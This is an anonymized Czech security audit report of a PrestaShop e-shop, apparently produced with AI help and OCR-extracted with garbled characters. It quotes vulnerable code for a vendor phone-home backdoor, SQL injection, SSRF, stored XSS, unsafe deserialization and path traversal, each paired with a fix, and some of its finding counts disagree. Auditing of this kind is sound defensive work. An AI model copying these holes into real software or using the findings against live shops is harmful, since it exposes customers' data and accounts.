SHOWCASE VERZE — Anonymizovana verze bezpecnostniho auditu pro demonstracni tcely. Citlivé Udaje (domény, cesty,

emaily, nazvy serverd) jsou . Struktura, metodika a typy nalezd jsou autentické.

Security Audit Report

Projekt: (PrestaShop e-shop)

Datum: 2026-02-19

Auditor: Claude Opus 4.6 (Al-assisted security audit)

Platforma: PrestaShop 9.0.3 / PHP 8.4 / AlmaLinux 9

Rozsah: 20 vlastnich moduld, 3 vendor moduly, 3 third-party moduly, overrides, verejné endpointy
Cesta: /public_html/

Executive Summary

Audit odhalil 6 kritickych, 17 vysokych, 25+ stifednich a 15+ nizkych zranitelnosti napfi¢ 26 moduly a overrides. Nejzavaznéjsi nalezy
zahrnuji:

e Backdoor vzdaleného spusténi kodu (RCE) ve 3 vendor modulech — externi server mdze spustit libovolny kéd
e SQL Injection ve vendor export modulu (admin kontext) a ve vlastnim ERP importu

e Prevzeti Gctu pres social login modul — Utocnik se prihlasi na libovolny zakaznicky ucet

¢ Neautentifikované skripty s pfistupem k DB a moznosti destruktivnich operaci (TRUNCATE)

e Stored XSS v admin panelu pfes produktové konfiguratory a Q&A modul

6 CRITICAL 17 HIGH 25+ MEDIUM 15+ LOW/INFO

4 Odhad opravy vsech zranitelnosti

S Al asistenci (Claude Code + vyvojar): 4-5 hodin

Manualni oprava (vyvojar bez Al): 40-55 hodin

Zahrnuje opravu vsech 67 nalez( (6 CRITICAL + 14 HIGH + 32 MEDIUM + 15 LOW) véetné testovani po kazdém tieru.
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1. CRITICAL nalezy

C1: RCE backdoor ve 3 vendor modulech [e:{jj[¢:\"

Soubory:
®  modules/ / .php (fadky 386-389)
® modules/ / .php (stejnd metoda)
®  modules/ / .php (stejnd metoda)

Popis: VSechny 3 moduly od stejného vendora obsahuji metodu Statistics() , ktera odesila telemetricka data na externi
server (doména, IP, email, PS verze, PHP verze). Pokud server odpovi specialnim retézcem, modul spusti
exit() s libovolnym obsahem — de facto vzdalené spustitelny backdoor.

$statistics = (string)curl_exec($ch);

if (preg_match('/ :/iu', $statistics)) {
exit(str_replace(" :', ', $statistics));

// ~ Libovolny koéd od vzdaleného serveru se spusti

Dopad: Operator vzdaleného serveru muze kdykoliv spustit libovolny PHP/HTML/JS. Kombinovano s CURLOPT_SSL_VERIFYPEER =
false muze byt zneuzito i MITM Gtokem.

Doporuceni: Okamzité odstranit backdoor blok ze vSech 3 moduld. Zvazit Uplné odstranéni phone-home funkcionality.

C2: SQL Injection ve vendor export modulu — product hook

Soubor: modules/ / .php (fadky 126-176)
Popis: 10+ uzivatelskych vstupli z Tools::getValue() je pfimo interpolovano do SQL bez psQL() . Vyuzitelné adminem pri

ukladani produktu.

$name = Tools::getValue($this->name . '_name');
$sql = 'INSERT INTO "' . _DB_PREFIX_ . $this->name . "°

“name” = '$name’', ...';
// ~ Zadny pSQL()!

Doporuceni: Obalit vSechny fetézce psQL() adisla (int) nebo (float) .

C3: SQL Injection ve vendor export modulu — parovani kategorii
Soubor: modules/ / .php (fadky 660-715)

Popis: Hodnoty z Tools::getValue() pro parovani kategorii na externi sluzby jsou injektovany pfimo do SQL. Ani klice pole ani
hodnoty nejsou escapovany.

Db::getInstance()->execute("'INSERT INTO ~' . _DB_PREFIX_ . '
("local_id", ° _full name, "lang’)
VALUES ($local_id, \'' . $full_name['cz'] . '\', \'cz\');");

// ~ $local_id ani $full_name nejsou escapovany

Doporuceni: (int)$local_id a psQL() na vSechny hodnoty.




C4: Prevzeti Gctu pres social login modul

Soubor: modules/ /controllers/front/authenticate.php (fadky 96-117, 168-191)

Popis: Pokud socialni sit' (Facebook, Google) vrati email existujici v PS databazi, modul automaticky pfihlasi uzivatele BEZ ovéreni
vlastnictvi G¢tu. Utoénik vytvori socialni Gcet se stejnym emailem — plny piistup.

if (Customer::customerExists($userProfile->email)) {

// Zadna verifikace! Primo prihldasi:

$noError = $this->authenticateCustomer($userProfile->email);

Doporuceni: Deaktivovat modul nebo implementovat ovéreni (heslo / verifikaci e-mailem / vazbni tabulka social_id —
customer_id).

C5: Neautentifikovany standalone skript s SSRF potencidlem

Soubor: modules/ i .php (fadky 3-10)

Popis: Standalone PHP skript bez autentifikace, bez validace vstupu. $_GET parametr je pfimo konkatenovan do URL pro
curl_init() . Spravny front controller s regex validaci existuje, ale legacy soubor zlstava pristupny.

$param = $_GET[' bl ;
if ($curl = curl_init(EXTERNAL_API . $param)) {
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

// ~ Zadna validace, 7adna autentifikace

Doporuceni: Smazat soubor. Nahradni front controller jiz existuje (s regex validaci /~\d{1,8}$/ ).

C6: Neautentifikované importni skripty — pFistup k DB a destruktivni operace

Soubory:
®  modules/ / .php — vraci emaily z ERP systému bez autentifikace
® modules/ / .php — dumpuje kategorie/filtry jako JSON bez auth
®  modules/ / .php — TRUNCATE tabulek + unsafe unserialize() bez auth

Popis: VSechny 3 skripty jsou ve whitelist .htaccess, nemaji token ani autentifikaci. Prvni unasi Pl z ERP, druhy dumpuje interni
strukturu, teti provadi destruktivni operace.

// Zadny token check!
$param = trim((string) Tools::getValue(" )3

$result = trim((string) $row[ 'EMail']);
die(json_encode($result)); // Vraci skuteéné emaily z ERP

Doporuceni: Smazat legacy soubor (front controller nahrada existuje), pridat token autentifikaci do sync skriptd, opravit

unserialize() .



2. HIGH nalezy

H1: Unsafe unserialize() v override m

Soubor: override/classes/Hook.php (fadky 25-26)

$modules_a = unserialize(Configuration::get("'

$modules_b = unserialize(Configuration::get("'
// ~ Chybi ['allowed_classes' => false]

Doporuceni: Pridat ['allowed_classes' => false] jako druhy parametr.

H2: SQL Injection ve vlastnim ERP importu m

Soubor: modules/ / .php (fadky 114-126, 552-561)

SQL dotazy s primo interpolovanymi hodnotami z ERP systému bez (int) castingu.

DB::getInstance()->execute("UPDATE ~" . _DB_PREFIX_ . "category_ product”
SET “position’ = '{$position}’
WHERE ~id_product™ = '{$this->real_id}"'
AND " id_category ='{$category_id}'");

// ~ V3echny proménné bez (int) castingu

Doporuceni: Pridat (int) casty na vsechna ciselna mista.

H3: SQL Injection pres addslashes() m

Soubor: modules/ /export6.php (fadek ~159)

$this->force_currency = addslashes(mb_strtoupper($_GET['force_currency']));

// addslashes() NENI bezpecné proti SQL injection pro multi-byte charsets!

Doporuceni: Pouzit psQL() misto addslashes() .

H4: Stored XSS v admin panelu — konfigurator modul m

Soubor: modules/ / .php , metoda O

DB hodnoty (jméno, email, tel, pozndmka) zobrazeny v admin panelu bez htmlspecialchars() . Uto¢nik odesle poptavku s JS —
admin otevie modul — XSS v admin kontextu.

$output .= "<td>{$row[ ‘name’]}</td> // UNESCAPED

<td>{$row[ 'email’]}</td> // UNESCAPED
<td>{$row[ 'note"' ]}</td>"; // UNESCAPED

Doporuceni: htmlspecialchars($row[ 'name'], ENT_QUOTES, 'UTF-8') na vSechny vystupy.

H5: Stored XSS v modulu skoleni — legacy sablona m



Soubor: modules/ /views/templates/front/display.tpl

<td class="title">{$item.name}</td> {* UNESCAPED *}

<td>{$item.address}</td> {* UNESCAPED *}
<a href="{$path}{$item.filename}">... {* UNESCAPED *}

Doporuceni: Pfidat |escape: 'html':'UTF-8' nebo prejit na nové Sablony.

H6: Stored XSS v Q&A modulu — admin back-office m

Uzivatelské dotazy (jméno, email, text otazky) zobrazeny v admin panelu bez escapovani.

Doporuceni: htmlspecialchars() v PHP, |escape:'htmlall' v TPL.

H7: XSS pies $_SERVER['REQUEST_URI'] v admin panelu (4x) {30

Nalezeno ve 4 modulech — $_SERVER[ 'REQUEST_URI'] neescapované ve <form action> .

Doporuéeni: htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8')

H8: Unsafe file write s path traversal m

$iso_code zkli¢G $_POST pouZitv cesté pro file_put_contents() bez validace — mozny zapis mimo adresar modulu.

foreach ($languages as $iso_code => $value) {

file_put_contents($this->local_path . $this->name . '_' . $iso_code . '.htm', trim($value));
}

// $iso_code z $_POST — mize obsahovat ../../

Doporuceni: Validovat pfes Validate::isLanguageIsoCode() .

HO9: IP bypass v diagnostickych skriptech (3 x) m

IP restrikce pouzivd HTTP_X_FORWARDED_FOR — spoofovatelny header. Skripty odhaluji PS verzi, emaily, PHP verzi, diskovy
prostor, hostname.

Doporuceni: Smazat vSechny 3 soubory.

H10: Legacy ajax.php soubory obchazeji PS security (4x) m

Standalone PHP soubory pfimo includuji PS config bez front controlleru — zadna session verifikace, zadné CSRF tokeny. VSechny
4 maji sprévné front controller nahrady.

Doporuceni: Smazat vsechny 4 legacy soubory.

H11: CSRF na nakupnich seznamech m



xu

Vytvoreni, nacteni do kosiku, smazani — vse bez CSRF tokenu. Akce "vloz" navic vyprazdni cely kosik.

H12: CSRF na vérnostnim programu m

Vytvari/maze slevové kupony bez CSRF ochrany. Formular pouzivd method="GET" — stali <img src="..."> pro Utok.

H13: XSS pres cookie hodnoty v delivery modulu m

<input type="text" value="{$delivery_date}" ... {* UNESCAPED cookie *}

<input type="text" value="{$delivery time}" ... {* UNESCAPED cookie *}

H14: Unsafe JSON config import v theme editoru m

Admin nahrava JSON soubor nastavujici libovolné konfiguracni klice bez validace proti whitelistu.



3. MEDIUM nalezy

# Kategorie Popis Typ
M1-M3 Vendor moduly (3x) SSL verifikace vypnuta ( CURLOPT_SSL_VERIFYPEER=false ) SSL/TLS
M2 Vendor modul Data exfiltrace — phone-home (doména, email, IP, verze) Privacy
M4 Vendor export Debug mode pro konkrétni IP (spoofovatelnou) Info Disclosure
M5 Vendor export Insecure directory permissions (0777) File Permissions
M7 Vendor GTM PIl (email, jméno) exponovano na frontend pro data layer Privacy/GDPR
M8 Search modul Potenciélni SQL injection v LIKE klauzuli SQLi
M9 Social login Slabé auto-generované heslo (8 znakd) Auth
M10-M11 Theme editor id_employee bez castingu + regex injection Input Validation
M12-M15 Konfigurator (4x) HTML injection v emailu, CSRF, DOM XSS, URL encoding XSS/CSRF
M16 Konfigurator materialt Neescapovana DB data v jQuery .append/.html DOM XSS
M17 Nakupni seznamy IDOR — akce neovéfuje vlastnictvi IDOR
M18 Nakupni seznamy Reflected XSS pres nazev ve flash zpravé XSS
M19-M20 2 moduly Open redirect pres HTTP_REFERER Open Redirect
M21 Vérnostni program Mazani kupéni bez ovéreni vlastnictvi AuthZ
M22 Kontaktni osoby CSRF token s loose porovnanim ( !'= vs !==) CSRF
M23-M25 Modul skoleni CSRF, mail() header injection, chybéjici validace CSRF/Injection
M26 Q&A modul Preklep escape:'hmlall' — escapovani nefunguje XSS
M27-M28 Platba fakturou CSRF + chybéjici autorizace ve validaci CSRF/AuthZ
M29 Customer info Chybéjici CSRF na zméné hesla CSRF
M30-M32 3 moduly Information disclosure, chybéjici CSRF Info/CSRF

4. LOW / INFO nalezy
# Popis Zavaznost
L1 define('_PS_MODE_DEV_', true) v produkénich cron skriptech
L2 SSL verifikace vypnuta na API volani
L3 Neescapovana ERP data v import orchestratoru
L4-L10 Neescapované DB hodnoty v rliznych Sablonach (7x)
L11 Nepouzité plaintext heslo v konfiguraci modulu m
L12 Zastarala JS knihovna (2015) Low
L13-L14 Exception/SCSS chybové zpravy zobrazeny uzivatelim Low
L15 Predvidatelné coupon kddy (sekvenéni ID) LOW

Pozitivni nalezy



4 moduly zcela bez zranitelnosti — Symfony forms, #[AdminSecurity] , pSQL() , template escaping, parametrizované SQL
Zadné hardcoded credentials — ERP Udaje spravné v ps_configuration

Zadné file uploady — 7adny move_uploaded_file()

Zadné command injection — 7adny exec() , system() , passthru()

vendor/ adresare spravné chranény Require all denied



5. Souhrnna tabulka

1D Zavaznost Typ zranitelnosti
Cc1 RCE Backdoor
c2-c3 SQL Injection (2x)
Cc4 Auth Bypass

cs SSRF

Cc6 Unauth Access

H1 m Deserialization
H2-H3 [ HiGH | SQL Injection (2x)
H4-Hé [ HiGH | Stored XSS (3x)
H7 [ HIGH | Reflected XSS (4x)
H8 m Path Traversal

H9 m Info Disclosure
H10 [ HiGH | Auth Bypass (4x)
H11-H12 [ HIGH | CSRF (2x)

H13 [ HIGH | XSS

H14 m Config Injection

+ 32 MEDIUM ndlezii + 15 LOW/INFO ndlezi

Popis

Vendor phone-home s arbitrary code execution
Neescapované vstupy v product hooku a category pairingu
Account takeover pres social login email hijack
Neautentifikovany endpoint s curl a user input

3 skripty — PII leak, DB dump, TRUNCATE bez auth
Unsafe unserialize v override

ERP import + addslashes() pattern

Admin panel — neescapované vystupy
$_SERVER['REQUEST_URI'] v admin formulafich
file_put_contents s nevalidovanym vstupem
Diagnostické skripty s obejitim IP restrikce

Legacy AJAX skripty obchéazeji PS security
State-changing operace bez CSRF ochrany

Cookie hodnoty v Sabloné bez escape

JSON import bez whitelistu



6. Plan oprav (prioritizovany)

OKAMZITE (do 24 hodin)

Akce

Smazat legacy neautentifikované skripty (2x)
Smazat vendor diagnostické skripty (3x)
Smazat legacy AJAX soubory (4x)
Neutralizovat RCE backdoor (3 vendor moduly)
Pridat token autentifikaci do sync skriptd
Opravit unsafe unserialize v override
Deaktivovat social login modul

Smazat debug mode z produkénich skriptl

DO TYDNE

Akce

Fix SQL injection ve vendor export modulu
Fix stored XSS v admin panelu (3 moduly)
Fix $_SERVER['REQUEST_URI'] XSS (4x)

Fix path traversal ve file write

Fix SQL injection v ERP importu

Fix IDOR v nakupnich seznamech

Fix autorizace v platebnim modulu

DO MESICE

Akce

Pridat CSRF tokeny (7 modul()

Fix open redirect pres HTTP_REFERER (3x)
Zapnout SSL verifikaci (4x)

Doplnit template escapovani (10+ proménnych)

Validace email(i a vstupti v legacy controllerech

7. Moduly bez zranitelnosti

Nalez

C5, Cé

H9

H10

C1

Ccé

H1

Cc4

L1

Nalez

Riziko zmény

Nizké — néahrady existuji

Z4dné

Nizké — front controllery existuji
Nizké — smazat jednu podminku
Nizké — 2 radky kodu

Z4dné — pridat parametr

Ztrata social login funkce

Z4dné

Nalez
C2,C3,H3
H4, H5, He
H7

H8

H2

M17

M28

H11, H12, M13, M23, M27, M29, M31, M32

M19, M20

L2, M1, M3, M6

L4-L10, M18, M26

M24, M25

4 z 26 auditovanych moduld nevykazaly zadné zranitelnosti. Sdileji tyto vlastnosti:

e Symfony form validace s #[AdminSecurity] atributem
e Ddusledné pouzivani psQL() a (int) castingu

e Template escaping pfes |escape:'html':'UTF-8'

e Parametrizované SQL dotazy pro externi DB



e s$auth = true na vsSech front controllerech
e Qvéreni vlastnictvi zdroj (customer ID check)



8. Metodika auditu

Parametr Hodnota

Nastroj Claude Opus 4.6 (Al-assisted) + manualni code review

Rozsah 26 moduld, 200+ PHP soubor(, 30+ JS soubort, 40+ TPL $ablon, overrides, .htaccess
Paralelni agenti 6 specializovanych agent( + 1 manualni prichod

Doba auditu ~1,5 hodiny (bez pripravy)

Klasifikace CRITICAL / HIGH / MEDIUM / LOW / INFO (dle CVSS vzoru)

Kontrolované kategorie (OWASP Top 10+)

e SQL Injection (A03:2021)

e XSS — Stored, Reflected, DOM-based (A03:2021)

e (CSRF — Cross-Site Request Forgery

e SSRF — Server-Side Request Forgery (A10:2021)

e Command Injection (A03:2021)

e File Inclusion / Path Traversal (A01:2021)

® Insecure Deserialization (A08:2021)

e Authentication / Authorization Bypass (A01:2021, A07:2021)
e IDOR — Insecure Direct Object Reference (A01:2021)
e Open Redirect

¢ Information Disclosure (A02:2021)

e Hardcoded Credentials (A07:2021)

® Debug Mode v produkci

® Insecure File Operations

Security Audit Report — PrestaShop 9.0.3 E-commerce
Al-assisted audit powered by Claude Opus 4.6 (Anthropic)
Doporucujeme doplnit manudlni penetracni test pro kompletni pokryti.
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